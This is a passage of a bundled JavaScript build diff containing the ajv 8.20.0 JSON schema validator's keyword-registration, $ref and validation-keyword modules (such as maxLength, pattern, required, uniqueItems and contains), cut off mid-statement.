${kwd} is already defined`); + if (!KEYWORD_NAME.test(kwd)) + throw new Error(`Keyword ${kwd} has invalid name`); + }); + if (!def) + return; + if (def.$data && !("code" in def || "validate" in def)) { + throw new Error('$data keyword must have "code" or "validate" function'); + } + } + function addRule(keyword, definition, dataType) { + var _a3; + const post = definition === null || definition === void 0 ? void 0 : definition.post; + if (dataType && post) + throw new Error('keyword with "post" flag cannot have "type"'); + const { RULES } = this; + let ruleGroup = post ? RULES.post : RULES.rules.find(({ type: t }) => t === dataType); + if (!ruleGroup) { + ruleGroup = { type: dataType, rules: [] }; + RULES.rules.push(ruleGroup); + } + RULES.keywords[keyword] = true; + if (!definition) + return; + const rule = { + keyword, + definition: { + ...definition, + type: (0, dataType_1.getJSONTypes)(definition.type), + schemaType: (0, dataType_1.getJSONTypes)(definition.schemaType) + } + }; + if (definition.before) + addBeforeRule.call(this, ruleGroup, rule, definition.before); + else + ruleGroup.rules.push(rule); + RULES.all[keyword] = rule; + (_a3 = definition.implements) === null || _a3 === void 0 ? void 0 : _a3.forEach((kwd) => this.addKeyword(kwd)); + } + function addBeforeRule(ruleGroup, rule, before) { + const i = ruleGroup.rules.findIndex((_rule) => _rule.keyword === before); + if (i >= 0) { + ruleGroup.rules.splice(i, 0, rule); + } else { + ruleGroup.rules.push(rule); + this.logger.warn(`rule ${before} is not defined`); + } + } + function keywordMetaschema(def) { + let { metaSchema } = def; + if (metaSchema === void 0) + return; + if (def.$data && this.opts.$data) + metaSchema = schemaOrData(metaSchema); + def.validateSchema = this.compile(metaSchema, true); + } + var $dataRef = { + $ref: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#" + }; + function schemaOrData(schema) { + return { anyOf: [schema, $dataRef] }; + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/core/id.js +var require_id = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/core/id.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var def = { + keyword: "id", + code() { + throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID'); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/core/ref.js +var require_ref = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/core/ref.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.callRef = exports.getValidate = void 0; + var ref_error_1 = require_ref_error(); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var compile_1 = require_compile(); + var util_1 = require_util(); + var def = { + keyword: "$ref", + schemaType: "string", + code(cxt) { + const { gen, schema: $ref, it } = cxt; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; + if (($ref === "#" || $ref === "#/") && baseId === root.baseId) + return callRootRef(); + const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); + if (schOrEnv === void 0) + throw new ref_error_1.default(it.opts.uriResolver, baseId, $ref); + if (schOrEnv instanceof compile_1.SchemaEnv) + return callValidate(schOrEnv); + return inlineRefSchema(schOrEnv); + function callRootRef() { + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); + const rootName = gen.scopeValue("root", { ref: root }); + return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); + } + function callValidate(sch) { + const v = getValidate(cxt, sch); + callRef(cxt, v, sch, sch.$async); + } + function inlineRefSchema(sch) { + const schName = gen.scopeValue("schema", opts.code.source === true ? { ref: sch, code: (0, codegen_1.stringify)(sch) } : { ref: sch }); + const valid = gen.name("valid"); + const schCxt = cxt.subschema({ + schema: sch, + dataTypes: [], + schemaPath: codegen_1.nil, + topSchemaRef: schName, + errSchemaPath: $ref + }, valid); + cxt.mergeEvaluated(schCxt); + cxt.ok(valid); + } + } + }; + function getValidate(cxt, sch) { + const { gen } = cxt; + return sch.validate ? gen.scopeValue("validate", { ref: sch.validate }) : (0, codegen_1._)`${gen.scopeValue("wrapper", { ref: sch })}.validate`; + } + exports.getValidate = getValidate; + function callRef(cxt, v, sch, $async) { + const { gen, it } = cxt; + const { allErrors, schemaEnv: env2, opts } = it; + const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; + if ($async) + callAsyncRef(); + else + callSyncRef(); + function callAsyncRef() { + if (!env2.$async) + throw new Error("async schema referenced by sync schema"); + const valid = gen.let("valid"); + gen.try(() => { + gen.code((0, codegen_1._)`await ${(0, code_1.callValidateCode)(cxt, v, passCxt)}`); + addEvaluatedFrom(v); + if (!allErrors) + gen.assign(valid, true); + }, (e) => { + gen.if((0, codegen_1._)`!(${e} instanceof ${it.ValidationError})`, () => gen.throw(e)); + addErrorsFrom(e); + if (!allErrors) + gen.assign(valid, false); + }); + cxt.ok(valid); + } + function callSyncRef() { + cxt.result((0, code_1.callValidateCode)(cxt, v, passCxt), () => addEvaluatedFrom(v), () => addErrorsFrom(v)); + } + function addErrorsFrom(source) { + const errs = (0, codegen_1._)`${source}.errors`; + gen.assign(names_1.default.vErrors, (0, codegen_1._)`${names_1.default.vErrors} === null ? ${errs} : ${names_1.default.vErrors}.concat(${errs})`); + gen.assign(names_1.default.errors, (0, codegen_1._)`${names_1.default.vErrors}.length`); + } + function addEvaluatedFrom(source) { + var _a3; + if (!it.opts.unevaluated) + return; + const schEvaluated = (_a3 = sch === null || sch === void 0 ? void 0 : sch.validate) === null || _a3 === void 0 ? void 0 : _a3.evaluated; + if (it.props !== true) { + if (schEvaluated && !schEvaluated.dynamicProps) { + if (schEvaluated.props !== void 0) { + it.props = util_1.mergeEvaluated.props(gen, schEvaluated.props, it.props); + } + } else { + const props = gen.var("props", (0, codegen_1._)`${source}.evaluated.props`); + it.props = util_1.mergeEvaluated.props(gen, props, it.props, codegen_1.Name); + } + } + if (it.items !== true) { + if (schEvaluated && !schEvaluated.dynamicItems) { + if (schEvaluated.items !== void 0) { + it.items = util_1.mergeEvaluated.items(gen, schEvaluated.items, it.items); + } + } else { + const items = gen.var("items", (0, codegen_1._)`${source}.evaluated.items`); + it.items = util_1.mergeEvaluated.items(gen, items, it.items, codegen_1.Name); + } + } + } + } + exports.callRef = callRef; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/core/index.js +var require_core2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/core/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var id_1 = require_id(); + var ref_1 = require_ref(); + var core = [ + "$schema", + "$id", + "$defs", + "$vocabulary", + { keyword: "$comment" }, + "definitions", + id_1.default, + ref_1.default + ]; + exports.default = core; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitNumber.js +var require_limitNumber = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitNumber.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var ops = codegen_1.operators; + var KWDs = { + maximum: { okStr: "<=", ok: ops.LTE, fail: ops.GT }, + minimum: { okStr: ">=", ok: ops.GTE, fail: ops.LT }, + exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, + exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } + }; + var error51 = { + message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, + params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` + }; + var def = { + keyword: Object.keys(KWDs), + type: "number", + schemaType: "number", + $data: true, + error: error51, + code(cxt) { + const { keyword, data, schemaCode } = cxt; + cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/multipleOf.js +var require_multipleOf = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/multipleOf.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var error51 = { + message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, + params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` + }; + var def = { + keyword: "multipleOf", + type: "number", + schemaType: "number", + $data: true, + error: error51, + code(cxt) { + const { gen, data, schemaCode, it } = cxt; + const prec = it.opts.multipleOfPrecision; + const res = gen.let("res"); + const invalid2 = prec ? (0, codegen_1._)`Math.abs(Math.round(${res}) - ${res}) > 1e-${prec}` : (0, codegen_1._)`${res} !== parseInt(${res})`; + cxt.fail$data((0, codegen_1._)`(${schemaCode} === 0 || (${res} = ${data}/${schemaCode}, ${invalid2}))`); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/ucs2length.js +var require_ucs2length = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/ucs2length.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + function ucs2length(str) { + const len = str.length; + let length = 0; + let pos = 0; + let value; + while (pos < len) { + length++; + value = str.charCodeAt(pos++); + if (value >= 55296 && value <= 56319 && pos < len) { + value = str.charCodeAt(pos); + if ((value & 64512) === 56320) + pos++; + } + } + return length; + } + exports.default = ucs2length; + ucs2length.code = 'require("ajv/dist/runtime/ucs2length").default'; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitLength.js +var require_limitLength = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitLength.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var ucs2length_1 = require_ucs2length(); + var error51 = { + message({ keyword, schemaCode }) { + const comp = keyword === "maxLength" ? "more" : "fewer"; + return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; + }, + params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` + }; + var def = { + keyword: ["maxLength", "minLength"], + type: "string", + schemaType: "number", + $data: true, + error: error51, + code(cxt) { + const { keyword, data, schemaCode, it } = cxt; + const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; + const len = it.opts.unicode === false ? (0, codegen_1._)`${data}.length` : (0, codegen_1._)`${(0, util_1.useFunc)(cxt.gen, ucs2length_1.default)}(${data})`; + cxt.fail$data((0, codegen_1._)`${len} ${op} ${schemaCode}`); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/pattern.js +var require_pattern = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/pattern.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var code_1 = require_code2(); + var util_1 = require_util(); + var codegen_1 = require_codegen(); + var error51 = { + message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, + params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` + }; + var def = { + keyword: "pattern", + type: "string", + schemaType: "string", + $data: true, + error: error51, + code(cxt) { + const { gen, data, $data, schema, schemaCode, it } = cxt; + const u = it.opts.unicodeRegExp ? "u" : ""; + if ($data) { + const { regExp } = it.opts.code; + const regExpCode = regExp.code === "new RegExp" ? (0, codegen_1._)`new RegExp` : (0, util_1.useFunc)(gen, regExp); + const valid = gen.let("valid"); + gen.try(() => gen.assign(valid, (0, codegen_1._)`${regExpCode}(${schemaCode}, ${u}).test(${data})`), () => gen.assign(valid, false)); + cxt.fail$data((0, codegen_1._)`!${valid}`); + } else { + const regExp = (0, code_1.usePattern)(cxt, schema); + cxt.fail$data((0, codegen_1._)`!${regExp}.test(${data})`); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitProperties.js +var require_limitProperties = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitProperties.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var error51 = { + message({ keyword, schemaCode }) { + const comp = keyword === "maxProperties" ? "more" : "fewer"; + return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; + }, + params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` + }; + var def = { + keyword: ["maxProperties", "minProperties"], + type: "object", + schemaType: "number", + $data: true, + error: error51, + code(cxt) { + const { keyword, data, schemaCode } = cxt; + const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; + cxt.fail$data((0, codegen_1._)`Object.keys(${data}).length ${op} ${schemaCode}`); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/required.js +var require_required = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/required.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error51 = { + message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, + params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` + }; + var def = { + keyword: "required", + type: "object", + schemaType: "array", + $data: true, + error: error51, + code(cxt) { + const { gen, schema, schemaCode, data, $data, it } = cxt; + const { opts } = it; + if (!$data && schema.length === 0) + return; + const useLoop = schema.length >= opts.loopRequired; + if (it.allErrors) + allErrorsMode(); + else + exitOnErrorMode(); + if (opts.strictRequired) { + const props = cxt.parentSchema.properties; + const { definedProperties } = cxt.it; + for (const requiredKey of schema) { + if ((props === null || props === void 0 ? void 0 : props[requiredKey]) === void 0 && !definedProperties.has(requiredKey)) { + const schemaPath = it.schemaEnv.baseId + it.errSchemaPath; + const msg = `required property "${requiredKey}" is not defined at "${schemaPath}" (strictRequired)`; + (0, util_1.checkStrictMode)(it, msg, it.opts.strictRequired); + } + } + } + function allErrorsMode() { + if (useLoop || $data) { + cxt.block$data(codegen_1.nil, loopAllRequired); + } else { + for (const prop of schema) { + (0, code_1.checkReportMissingProp)(cxt, prop); + } + } + } + function exitOnErrorMode() { + const missing = gen.let("missing"); + if (useLoop || $data) { + const valid = gen.let("valid", true); + cxt.block$data(valid, () => loopUntilMissing(missing, valid)); + cxt.ok(valid); + } else { + gen.if((0, code_1.checkMissingProp)(cxt, schema, missing)); + (0, code_1.reportMissingProp)(cxt, missing); + gen.else(); + } + } + function loopAllRequired() { + gen.forOf("prop", schemaCode, (prop) => { + cxt.setParams({ missingProperty: prop }); + gen.if((0, code_1.noPropertyInData)(gen, data, prop, opts.ownProperties), () => cxt.error()); + }); + } + function loopUntilMissing(missing, valid) { + cxt.setParams({ missingProperty: missing }); + gen.forOf(missing, schemaCode, () => { + gen.assign(valid, (0, code_1.propertyInData)(gen, data, missing, opts.ownProperties)); + gen.if((0, codegen_1.not)(valid), () => { + cxt.error(); + gen.break(); + }); + }, codegen_1.nil); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitItems.js +var require_limitItems = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/limitItems.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var error51 = { + message({ keyword, schemaCode }) { + const comp = keyword === "maxItems" ? "more" : "fewer"; + return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; + }, + params: ({ schemaCode }) => (0, codegen_1._)`{limit: ${schemaCode}}` + }; + var def = { + keyword: ["maxItems", "minItems"], + type: "array", + schemaType: "number", + $data: true, + error: error51, + code(cxt) { + const { keyword, data, schemaCode } = cxt; + const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; + cxt.fail$data((0, codegen_1._)`${data}.length ${op} ${schemaCode}`); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/equal.js +var require_equal = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/runtime/equal.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var equal = require_fast_deep_equal(); + equal.code = 'require("ajv/dist/runtime/equal").default'; + exports.default = equal; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/uniqueItems.js +var require_uniqueItems = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/uniqueItems.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var dataType_1 = require_dataType(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var equal_1 = require_equal(); + var error51 = { + message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, + params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` + }; + var def = { + keyword: "uniqueItems", + type: "array", + schemaType: "boolean", + $data: true, + error: error51, + code(cxt) { + const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; + if (!$data && !schema) + return; + const valid = gen.let("valid"); + const itemTypes = parentSchema.items ? (0, dataType_1.getSchemaTypes)(parentSchema.items) : []; + cxt.block$data(valid, validateUniqueItems, (0, codegen_1._)`${schemaCode} === false`); + cxt.ok(valid); + function validateUniqueItems() { + const i = gen.let("i", (0, codegen_1._)`${data}.length`); + const j = gen.let("j"); + cxt.setParams({ i, j }); + gen.assign(valid, true); + gen.if((0, codegen_1._)`${i} > 1`, () => (canOptimize() ? loopN : loopN2)(i, j)); + } + function canOptimize() { + return itemTypes.length > 0 && !itemTypes.some((t) => t === "object" || t === "array"); + } + function loopN(i, j) { + const item = gen.name("item"); + const wrongType = (0, dataType_1.checkDataTypes)(itemTypes, item, it.opts.strictNumbers, dataType_1.DataType.Wrong); + const indices = gen.const("indices", (0, codegen_1._)`{}`); + gen.for((0, codegen_1._)`;${i}--;`, () => { + gen.let(item, (0, codegen_1._)`${data}[${i}]`); + gen.if(wrongType, (0, codegen_1._)`continue`); + if (itemTypes.length > 1) + gen.if((0, codegen_1._)`typeof ${item} == "string"`, (0, codegen_1._)`${item} += "_"`); + gen.if((0, codegen_1._)`typeof ${indices}[${item}] == "number"`, () => { + gen.assign(j, (0, codegen_1._)`${indices}[${item}]`); + cxt.error(); + gen.assign(valid, false).break(); + }).code((0, codegen_1._)`${indices}[${item}] = ${i}`); + }); + } + function loopN2(i, j) { + const eql = (0, util_1.useFunc)(gen, equal_1.default); + const outer = gen.name("outer"); + gen.label(outer).for((0, codegen_1._)`;${i}--;`, () => gen.for((0, codegen_1._)`${j} = ${i}; ${j}--;`, () => gen.if((0, codegen_1._)`${eql}(${data}[${i}], ${data}[${j}])`, () => { + cxt.error(); + gen.assign(valid, false).break(outer); + }))); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/const.js +var require_const = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/const.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var equal_1 = require_equal(); + var error51 = { + message: "must be equal to constant", + params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` + }; + var def = { + keyword: "const", + $data: true, + error: error51, + code(cxt) { + const { gen, data, $data, schemaCode, schema } = cxt; + if ($data || schema && typeof schema == "object") { + cxt.fail$data((0, codegen_1._)`!${(0, util_1.useFunc)(gen, equal_1.default)}(${data}, ${schemaCode})`); + } else { + cxt.fail((0, codegen_1._)`${schema} !== ${data}`); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/enum.js +var require_enum = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/enum.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var equal_1 = require_equal(); + var error51 = { + message: "must be equal to one of the allowed values", + params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` + }; + var def = { + keyword: "enum", + schemaType: "array", + $data: true, + error: error51, + code(cxt) { + const { gen, data, $data, schema, schemaCode, it } = cxt; + if (!$data && schema.length === 0) + throw new Error("enum must have non-empty array"); + const useLoop = schema.length >= it.opts.loopEnum; + let eql; + const getEql = () => eql !== null && eql !== void 0 ? eql : eql = (0, util_1.useFunc)(gen, equal_1.default); + let valid; + if (useLoop || $data) { + valid = gen.let("valid"); + cxt.block$data(valid, loopEnum); + } else { + if (!Array.isArray(schema)) + throw new Error("ajv implementation error"); + const vSchema = gen.const("vSchema", schemaCode); + valid = (0, codegen_1.or)(...schema.map((_x, i) => equalCode(vSchema, i))); + } + cxt.pass(valid); + function loopEnum() { + gen.assign(valid, false); + gen.forOf("v", schemaCode, (v) => gen.if((0, codegen_1._)`${getEql()}(${data}, ${v})`, () => gen.assign(valid, true).break())); + } + function equalCode(vSchema, i) { + const sch = schema[i]; + return typeof sch === "object" && sch !== null ? (0, codegen_1._)`${getEql()}(${data}, ${vSchema}[${i}])` : (0, codegen_1._)`${data} === ${sch}`; + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/index.js +var require_validation2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/validation/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var limitNumber_1 = require_limitNumber(); + var multipleOf_1 = require_multipleOf(); + var limitLength_1 = require_limitLength(); + var pattern_1 = require_pattern(); + var limitProperties_1 = require_limitProperties(); + var required_1 = require_required(); + var limitItems_1 = require_limitItems(); + var uniqueItems_1 = require_uniqueItems(); + var const_1 = require_const(); + var enum_1 = require_enum(); + var validation = [ + // number + limitNumber_1.default, + multipleOf_1.default, + // string + limitLength_1.default, + pattern_1.default, + // object + limitProperties_1.default, + required_1.default, + // array + limitItems_1.default, + uniqueItems_1.default, + // any + { keyword: "type", schemaType: ["string", "array"] }, + { keyword: "nullable", schemaType: "boolean" }, + const_1.default, + enum_1.default + ]; + exports.default = validation; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/additionalItems.js +var require_additionalItems = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/additionalItems.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.validateAdditionalItems = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error51 = { + message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, + params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` + }; + var def = { + keyword: "additionalItems", + type: "array", + schemaType: ["boolean", "object"], + before: "uniqueItems", + error: error51, + code(cxt) { + const { parentSchema, it } = cxt; + const { items } = parentSchema; + if (!Array.isArray(items)) { + (0, util_1.checkStrictMode)(it, '"additionalItems" is ignored when "items" is not an array of schemas'); + return; + } + validateAdditionalItems(cxt, items); + } + }; + function validateAdditionalItems(cxt, items) { + const { gen, schema, data, keyword, it } = cxt; + it.items = true; + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + if (schema === false) { + cxt.setParams({ len: items.length }); + cxt.pass((0, codegen_1._)`${len} <= ${items.length}`); + } else if (typeof schema == "object" && !(0, util_1.alwaysValidSchema)(it, schema)) { + const valid = gen.var("valid", (0, codegen_1._)`${len} <= ${items.length}`); + gen.if((0, codegen_1.not)(valid), () => validateItems(valid)); + cxt.ok(valid); + } + function validateItems(valid) { + gen.forRange("i", items.length, len, (i) => { + cxt.subschema({ keyword, dataProp: i, dataPropType: util_1.Type.Num }, valid); + if (!it.allErrors) + gen.if((0, codegen_1.not)(valid), () => gen.break()); + }); + } + } + exports.validateAdditionalItems = validateAdditionalItems; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/items.js +var require_items = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/items.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.validateTuple = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var code_1 = require_code2(); + var def = { + keyword: "items", + type: "array", + schemaType: ["object", "array", "boolean"], + before: "uniqueItems", + code(cxt) { + const { schema, it } = cxt; + if (Array.isArray(schema)) + return validateTuple(cxt, "additionalItems", schema); + it.items = true; + if ((0, util_1.alwaysValidSchema)(it, schema)) + return; + cxt.ok((0, code_1.validateArray)(cxt)); + } + }; + function validateTuple(cxt, extraItems, schArr = cxt.schema) { + const { gen, parentSchema, data, keyword, it } = cxt; + checkStrictTuple(parentSchema); + if (it.opts.unevaluated && schArr.length && it.items !== true) { + it.items = util_1.mergeEvaluated.items(gen, schArr.length, it.items); + } + const valid = gen.name("valid"); + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + schArr.forEach((sch, i) => { + if ((0, util_1.alwaysValidSchema)(it, sch)) + return; + gen.if((0, codegen_1._)`${len} > ${i}`, () => cxt.subschema({ + keyword, + schemaProp: i, + dataProp: i + }, valid)); + cxt.ok(valid); + }); + function checkStrictTuple(sch) { + const { opts, errSchemaPath } = it; + const l = schArr.length; + const fullTuple = l === sch.minItems && (l === sch.maxItems || sch[extraItems] === false); + if (opts.strictTuples && !fullTuple) { + const msg = `"${keyword}" is ${l}-tuple, but minItems or maxItems/${extraItems} are not specified or different at path "${errSchemaPath}"`; + (0, util_1.checkStrictMode)(it, msg, opts.strictTuples); + } + } + } + exports.validateTuple = validateTuple; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/prefixItems.js +var require_prefixItems = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/prefixItems.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var items_1 = require_items(); + var def = { + keyword: "prefixItems", + type: "array", + schemaType: ["array"], + before: "uniqueItems", + code: (cxt) => (0, items_1.validateTuple)(cxt, "items") + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/items2020.js +var require_items2020 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/items2020.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var code_1 = require_code2(); + var additionalItems_1 = require_additionalItems(); + var error51 = { + message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, + params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` + }; + var def = { + keyword: "items", + type: "array", + schemaType: ["object", "boolean"], + before: "uniqueItems", + error: error51, + code(cxt) { + const { schema, parentSchema, it } = cxt; + const { prefixItems } = parentSchema; + it.items = true; + if ((0, util_1.alwaysValidSchema)(it, schema)) + return; + if (prefixItems) + (0, additionalItems_1.validateAdditionalItems)(cxt, prefixItems); + else + cxt.ok((0, code_1.validateArray)(cxt)); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/contains.js +var require_contains = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/contains.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error51 = { + message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, + params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` + }; + var def = { + keyword: "contains", + type: "array", + schemaType: ["object", "boolean"], + before: "uniqueItems", + trackErrors: true, + error: error51, + code(cxt) { + const { gen, schema, parentSchema, data, it } = cxt; + let min; + let max; + const { minContains, maxContains } = parentSchema; + if (it.opts.next) { + min = minContains === void 0 ? 1 : minContains; + max = maxContains; + } else { + min = 1; + } + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + cxt.setParams({ min, max }); + if (max === void 0 && min === 0) { + (0, util_1.checkStrictMode)(it, `"minContains" == 0 without "maxContains": "contains" keyword ignored`); + return; + } + if (max !== void 0 && min > max) { + (0, util_1.checkStrictMode)(it, `"minContains" > "maxContains" is always invalid`); + cxt.fail(); + return; + } + if ((0, util_1.alwaysValidSchema)(it, schema)) { + let cond = (0, codegen_1._)`${len} >= ${min}`; + if (max !== void 0) + cond = 